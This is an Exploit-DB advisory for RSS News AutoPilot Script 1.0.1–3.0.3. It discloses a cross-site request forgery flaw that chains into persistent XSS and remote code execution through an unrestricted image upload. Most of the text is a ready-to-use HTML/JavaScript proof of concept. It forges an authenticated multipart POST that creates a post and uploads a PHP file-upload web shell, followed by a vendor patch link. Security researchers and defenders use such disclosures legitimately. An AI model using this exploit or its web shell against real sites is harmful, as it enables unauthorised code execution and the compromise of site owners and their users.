Exploit-DB #41392
Description: RSS News AutoPilot Script 1.0.1/3.0.3 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2016-08-30
Author: Arbin Godar

Exploit:
# Exploit Title: RSS News AutoPilot Script 1.0.1 / 3.0.3 - CSRF to
Persistent XSS and RCE Through Unrestricted File Upload
# Date: 30 August 2016
# Exploit Author: Arbin Godar
# Website : ArbinGodar.com
# Software Link: https://codecanyon.net/item/rss-news-autopilot-script/11812898
# Version: 1.0.1 to 3.0.3

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RSS News AutoPilot Script File:
http://www.mediafire.com/file/6dmegm8ak1jv2u1/rss.zip

Description:
An Attackers are able to execute js and php code on web
application using RSS News - AutoPilot Script which allow an attacker to
create a post when an authenticated user/admin browses a special
crafted web page. Also, all the process was possible without any
authenticated user/admin for more info watch the below PoC Video.

The title parameter was not filtering special characters mean
vulnerable to XSS and while uploading image they weren't filtering the file
type mean vulnerable to unrestricted file upload. So, now by creating CSRF
exploit code for posting
an article with XSS alert JS payload as title of post and php file as a
image. Now if the
attacker is able to perform CSRF attack sucessfully then XSS will be
triggered and we can execute php code too.

PoC Video: https://youtu.be/znDgv8K0yFk

CSRF Exploit Code:

 <html>
  <body>
   <title>[RSS News - AutoPilot Script] CSRF to Persistent XSS and
RCE</title>
 <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://localhost/news.php?case=add", true);
        xhr.setRequestHeader("Accept",
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart/form-data;
boundary=--------------------------[PII_REDACTED]649");
        xhr.withCredentials = true;
        var body = "----------------------------[PII_REDACTED]649\r\n" +
          "Content-Disposition: form-data; name=\"title\"\r\n" +
          "\r\n" +
          "Test\r\n" +
          "----------------------------[PII_REDACTED]649\r\n" +
          "Content-Disposition: form-data; name=\"category_id\"\r\n" +
          "\r\n" +
          "1\r\n" +
          "----------------------------[PII_REDACTED]649\r\n" +
          "Content-Disposition: form-data; name=\"thumbnail\";
filename=\"lod.php\"\r\n" +
          "Content-Type: application/octet-stream\r\n" +
          "\r\n" +
          "\x3c?php echo \'\x3cform action=\"\" method=\"post\"
enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\"\x3e\';
echo \'\x3cinput type=\"file\" name=\"file\" size=\"50\"\x3e\x3cinput
name=\"_upl\" type=\"submit\" id=\"_upl\"
value=\"Upload\"\x3e\x3c/form\x3e\'; if( $_POST[\'_upl\'] == \"Upload\" ) {
if(@copy($_FILES[\'file\'][\'tmp_name\'], $_FILES[\'file\'][\'name\'])) {
echo \'\x3cb\x3eUpload Sukses!!!\x3cb\x3e\x3cbr\x3e\x3cbr\x3e\'; } else {
echo \'\x3cb\x3eGagal Upload!!!\x3c/b\x3e\x3cbr\x3e\x3cbr\x3e\'; } } ?\x3e
\r\n" +
          "\r\n" +
          "----------------------------[PII_REDACTED]649\r\n" +
          "Content-Disposition: form-data; name=\"details\"\r\n" +
          "\r\n" +
          "\x3cp\x3etest\x3c/p\x3e\r\n" +
          "----------------------------[PII_REDACTED]649\r\n" +
          "Content-Disposition: form-data; name=\"published\"\r\n" +
          "\r\n" +
          "1\r\n" +
          "----------------------------[PII_REDACTED]649\r\n" +
          "Content-Disposition: form-data; name=\"submit\"\r\n" +
          "\r\n" +
          "\r\n" +
          "----------------------------[PII_REDACTED]649--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i);
        xhr.send(new Blob([aBody]));
      }
    </script>
    <br><br><br>
    <center>
    <h2><font color="red">[RSS News - AutoPilot Script] CSRF to Persistent
XSS and RCE</font></h2>
    <form action="#">
      <input type="button" value="Submit request"
onclick="submitRequest();" />
    </form>
  </center>
  </body>
</html>

Vendor Shouted Urgent Update:
http://wpsup.com/products/rss-news-script/urgent-update-fix-security-bugs/

Fix/Patch: Update to latest version.

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Regards,
Arbin Godar
https://twitter.com/arbingodar